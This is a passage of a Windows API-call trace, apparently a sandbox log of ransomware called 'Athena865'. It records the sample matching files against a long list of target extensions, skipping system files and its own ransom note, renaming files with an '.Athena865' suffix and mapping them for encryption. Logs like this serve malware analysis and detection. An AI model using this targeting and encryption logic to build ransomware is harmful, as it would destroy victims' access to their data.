lpString2="ndf") returned -1 [0060.272] lstrlenW (lpString="nnt") returned 3 [0060.272] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0060.272] lstrlenW (lpString="nrmlib") returned 6 [0060.272] lstrcmpiW (lpString1="se.exe", lpString2="nrmlib") returned 1 [0060.272] lstrlenW (lpString="ns2") returned 3 [0060.272] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0060.272] lstrlenW (lpString="ns3") returned 3 [0060.272] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0060.272] lstrlenW (lpString="ns4") returned 3 [0060.272] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0060.272] lstrlenW (lpString="nsf") returned 3 [0060.272] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0060.272] lstrlenW (lpString="nv") returned 2 [0060.272] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0060.272] lstrlenW (lpString="nv2") returned 3 [0060.272] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0060.272] lstrlenW (lpString="nwdb") returned 4 [0060.272] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0060.272] lstrlenW (lpString="nyf") returned 3 [0060.272] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0060.272] lstrlenW (lpString="odb") returned 3 [0060.272] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0060.272] lstrlenW (lpString="odb") returned 3 [0060.272] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0060.272] lstrlenW (lpString="oqy") returned 3 [0060.273] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0060.273] lstrlenW (lpString="ora") returned 3 [0060.273] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0060.273] lstrlenW (lpString="orx") returned 3 [0060.273] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0060.273] lstrlenW (lpString="owc") returned 3 [0060.273] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0060.273] lstrlenW (lpString="p96") returned 3 [0060.273] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0060.273] lstrlenW (lpString="p97") returned 3 [0060.273] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0060.273] lstrlenW (lpString="pan") returned 3 [0060.273] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0060.273] lstrlenW (lpString="pdb") returned 3 [0060.273] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0060.273] lstrlenW (lpString="pdm") returned 3 [0060.273] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0060.273] lstrlenW (lpString="pnz") returned 3 [0060.273] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0060.273] lstrlenW (lpString="qry") returned 3 [0060.273] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0060.273] lstrlenW (lpString="qvd") returned 3 [0060.273] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0060.273] lstrlenW (lpString="rbf") returned 3 [0060.273] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0060.273] lstrlenW (lpString="rctd") returned 4 [0060.273] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0060.273] lstrlenW (lpString="rod") returned 3 [0060.273] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0060.273] lstrlenW (lpString="rodx") returned 4 [0060.273] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0060.273] lstrlenW (lpString="rpd") returned 3 [0060.273] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0060.273] lstrlenW (lpString="rsd") returned 3 [0060.274] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0060.274] lstrlenW (lpString="sas7bdat") returned 8 [0060.274] lstrlenW (lpString="sbf") returned 3 [0060.274] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0060.274] lstrlenW (lpString="scx") returned 3 [0060.274] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0060.274] lstrlenW (lpString="sdb") returned 3 [0060.274] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0060.274] lstrlenW (lpString="sdc") returned 3 [0060.274] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0060.274] lstrlenW (lpString="sdf") returned 3 [0060.274] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0060.274] lstrlenW (lpString="sis") returned 3 [0060.274] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0060.274] lstrlenW (lpString="spq") returned 3 [0060.274] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0060.274] lstrlenW (lpString="te") returned 2 [0060.274] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0060.274] lstrlenW (lpString="teacher") returned 7 [0060.274] lstrlenW (lpString="tmd") returned 3 [0060.274] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0060.274] lstrlenW (lpString="tps") returned 3 [0060.274] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0060.274] lstrlenW (lpString="trc") returned 3 [0060.274] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0060.274] lstrlenW (lpString="trc") returned 3 [0060.274] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0060.274] lstrlenW (lpString="trm") returned 3 [0060.274] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0060.274] lstrlenW (lpString="udb") returned 3 [0060.274] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0060.274] lstrlenW (lpString="udl") returned 3 [0060.275] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0060.275] lstrlenW (lpString="usr") returned 3 [0060.275] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0060.275] lstrlenW (lpString="v12") returned 3 [0060.275] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0060.275] lstrlenW (lpString="vis") returned 3 [0060.275] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0060.275] lstrlenW (lpString="vpd") returned 3 [0060.275] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0060.275] lstrlenW (lpString="vvv") returned 3 [0060.275] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0060.275] lstrlenW (lpString="wdb") returned 3 [0060.275] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0060.275] lstrlenW (lpString="wmdb") returned 4 [0060.275] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0060.275] lstrlenW (lpString="wrk") returned 3 [0060.275] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0060.275] lstrlenW (lpString="xdb") returned 3 [0060.275] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0060.275] lstrlenW (lpString="xld") returned 3 [0060.275] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0060.275] lstrlenW (lpString="xmlff") returned 5 [0060.275] lstrcmpiW (lpString1="e.exe", lpString2="xmlff") returned -1 [0060.275] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.Athena865") returned 80 [0060.275] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.athena865"), dwFlags=0x1) returned 1 [0060.276] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0060.277] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=174440) returned 1 [0060.277] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0060.277] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0060.277] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0060.277] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0060.278] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0060.278] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0060.278] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ac70, lpName=0x0) returned 0x17c [0060.280] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ac70) returned 0x170000 [0060.286] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0060.287] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0060.287] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0060.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0060.287] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0060.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0060.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0060.287] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0060.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0060.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0060.287] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0060.287] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0060.287] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0060.287] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0060.289] CloseHandle (hObject=0x17c) returned 1 [0060.289] CloseHandle (hObject=0x154) returned 1 [0060.289] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0060.289] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0060.289] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0060.290] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x16854390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0060.290] lstrcmpiW (lpString1="osetup.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0060.290] lstrcmpiW (lpString1="osetup.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0060.290] lstrcmpiW (lpString1="osetup.dll", lpString2=".") returned 1 [0060.290] lstrcmpiW (lpString1="osetup.dll", lpString2="..") returned 1 [0060.290] lstrcmpiW (lpString1="osetup.dll", lpString2="windows") returned -1 [0060.290] lstrcmpiW (lpString1="osetup.dll", lpString2="bootmgr") returned 1 [0060.290] lstrcmpiW (lpString1="osetup.dll", lpString2="temp") returned -1 [0060.290] lstrcmpiW (lpString1="osetup.dll", lpString2="pagefile.sys") returned -1 [0060.290] lstrcmpiW (lpString1="osetup.dll", lpString2="boot") returned 1 [0060.290] lstrcmpiW (lpString1="osetup.dll", lpString2="ids.txt") returned 1 [0060.290] lstrcmpiW (lpString1="osetup.dll", lpString2="ntuser.dat") returned 1 [0060.290] lstrcmpiW (lpString1="osetup.dll", lpString2="perflogs") returned -1 [0060.290] lstrcmpiW (lpString1="osetup.dll", lpString2="MSBuild") returned 1 [0060.290] lstrlenW (lpString="osetup.dll") returned 10 [0060.290] lstrcpyW (in: lpString1=0x241e8c6, lpString2="osetup.dll" | out: lpString1="osetup.dll") returned="osetup.dll" [0060.290] lstrlenW (lpString="osetup.dll") returned 10 [0060.290] lstrlenW (lpString="Athena865") returned 9 [0060.290] lstrcmpiW (lpString1="setup.dll", lpString2="Athena865") returned 1 [0060.291] lstrlenW (lpString=".dll") returned 4 [0060.291] lstrcmpiW (lpString1="osetup.dll", lpString2=".dll") returned 1 [0060.291] lstrlenW (lpString=".lnk") returned 4 [0060.291] lstrcmpiW (lpString1="osetup.dll", lpString2=".lnk") returned 1 [0060.291] lstrlenW (lpString=".ini") returned 4 [0060.291] lstrcmpiW (lpString1="osetup.dll", lpString2=".ini") returned 1 [0060.291] lstrlenW (lpString=".sys") returned 4 [0060.291] lstrcmpiW (lpString1="osetup.dll", lpString2=".sys") returned 1 [0060.291] lstrlenW (lpString="osetup.dll") returned 10 [0060.291] lstrlenW (lpString="bak") returned 3 [0060.291] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0060.291] lstrlenW (lpString="ba_") returned 3 [0060.291] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0060.291] lstrlenW (lpString="dbb") returned 3 [0060.291] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0060.291] lstrlenW (lpString="vmdk") returned 4 [0060.291] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0060.291] lstrlenW (lpString="rar") returned 3 [0060.291] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0060.291] lstrlenW (lpString="zip") returned 3 [0060.291] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0060.291] lstrlenW (lpString="tgz") returned 3 [0060.291] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0060.291] lstrlenW (lpString="vbox") returned 4 [0060.291] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0060.291] lstrlenW (lpString="vdi") returned 3 [0060.291] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0060.291] lstrlenW (lpString="vhd") returned 3 [0060.291] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0060.291] lstrlenW (lpString="vhdx") returned 4 [0060.291] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0060.291] lstrlenW (lpString="avhd") returned 4 [0060.291] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0060.291] lstrlenW (lpString="db") returned 2 [0060.292] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0060.292] lstrlenW (lpString="db2") returned 3 [0060.292] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0060.292] lstrlenW (lpString="db3") returned 3 [0060.292] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0060.292] lstrlenW (lpString="dbf") returned 3 [0060.292] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0060.292] lstrlenW (lpString="mdf") returned 3 [0060.292] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0060.292] lstrlenW (lpString="mdb") returned 3 [0060.292] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0060.292] lstrlenW (lpString="sql") returned 3 [0060.292] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0060.292] lstrlenW (lpString="sqlite") returned 6 [0060.292] lstrcmpiW (lpString1="up.dll", lpString2="sqlite") returned 1 [0060.292] lstrlenW (lpString="sqlite3") returned 7 [0060.292] lstrcmpiW (lpString1="tup.dll", lpString2="sqlite3") returned 1 [0060.292] lstrlenW (lpString="sqlitedb") returned 8 [0060.292] lstrcmpiW (lpString1="etup.dll", lpString2="sqlitedb") returned -1 [0060.292] lstrlenW (lpString="xml") returned 3 [0060.292] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0060.292] lstrlenW (lpString="$er") returned 3 [0060.292] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0060.292] lstrlenW (lpString="4dd") returned 3 [0060.292] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0060.292] lstrlenW (lpString="4dl") returned 3 [0060.292] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0060.292] lstrlenW (lpString="^^^") returned 3 [0060.292] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0060.292] lstrlenW (lpString="abs") returned 3 [0060.292] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0060.292] lstrlenW (lpString="abx") returned 3 [0060.292] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0060.293] lstrlenW (lpString="accdb") returned 5 [0060.293] lstrcmpiW (lpString1="p.dll", lpString2="accdb") returned 1 [0060.293] lstrlenW (lpString="accdc") returned 5 [0060.293] lstrcmpiW (lpString1="p.dll", lpString2="accdc") returned 1 [0060.293] lstrlenW (lpString="accde") returned 5 [0060.293] lstrcmpiW (lpString1="p.dll", lpString2="accde") returned 1 [0060.293] lstrlenW (lpString="accdr") returned 5 [0060.293] lstrcmpiW (lpString1="p.dll", lpString2="accdr") returned 1 [0060.293] lstrlenW (lpString="accdt") returned 5 [0060.293] lstrcmpiW (lpString1="p.dll", lpString2="accdt") returned 1 [0060.293] lstrlenW (lpString="accdw") returned 5 [0060.293] lstrcmpiW (lpString1="p.dll", lpString2="accdw") returned 1 [0060.293] lstrlenW (lpString="accft") returned 5 [0060.293] lstrcmpiW (lpString1="p.dll", lpString2="accft") returned 1 [0060.293] lstrlenW (lpString="adb") returned 3 [0060.293] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0060.293] lstrlenW (lpString="adb") returned 3 [0060.293] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0060.293] lstrlenW (lpString="ade") returned 3 [0060.293] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0060.293] lstrlenW (lpString="adf") returned 3 [0060.293] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0060.293] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0060.293] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0060.293] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0060.293] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0060.293] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0060.293] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0060.293] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0060.294] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0060.294] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0060.294] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0060.294] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.Athena865") returned 83 [0060.294] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.athena865"), dwFlags=0x1) returned 1 [0060.295] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0060.295] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7378792) returned 1 [0060.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0060.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0060.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0060.295] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0060.301] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0060.301] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0060.302] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x709a70, lpName=0x0) returned 0x17c [0060.303] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x600000, dwNumberOfBytesToMap=0x109a70) returned 0x2d50000 [0060.435] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0060.436] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0060.436] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0060.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0060.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0060.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0060.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0060.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0060.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0060.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0060.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0060.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0060.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0060.437] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0060.446] CloseHandle (hObject=0x17c) returned 1 [0060.446] CloseHandle (hObject=0x154) returned 1 [0060.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0060.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0060.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0060.455] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0060.455] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0060.455] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0060.455] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2=".") returned 1 [0060.455] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="..") returned 1 [0060.455] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="windows") returned -1 [0060.455] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="bootmgr") returned 1 [0060.456] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="temp") returned -1 [0060.456] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="pagefile.sys") returned -1 [0060.456] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="boot") returned 1 [0060.456] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="ids.txt") returned 1 [0060.456] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="ntuser.dat") returned 1 [0060.456] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="perflogs") returned -1 [0060.456] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="MSBuild") returned 1 [0060.456] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0060.456] lstrcpyW (in: lpString1=0x241e8c6, lpString2="OWOW32WW.cab" | out: lpString1="OWOW32WW.cab") returned="OWOW32WW.cab" [0060.456] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0060.456] lstrlenW (lpString="Athena865") returned 9 [0060.456] lstrcmpiW (lpString1="W32WW.cab", lpString2="Athena865") returned 1 [0060.456] lstrlenW (lpString=".dll") returned 4 [0060.456] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2=".dll") returned 1 [0060.456] lstrlenW (lpString=".lnk") returned 4 [0060.456] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2=".lnk") returned 1 [0060.456] lstrlenW (lpString=".ini") returned 4 [0060.456] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2=".ini") returned 1 [0060.456] lstrlenW (lpString=".sys") returned 4 [0060.456] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2=".sys") returned 1 [0060.456] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0060.456] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.Athena865") returned 85 [0060.456] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.athena865"), dwFlags=0x1) returned 1 [0060.457] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0060.457] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=36233052) returned 1 [0060.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0060.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0060.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0060.458] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0060.458] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, 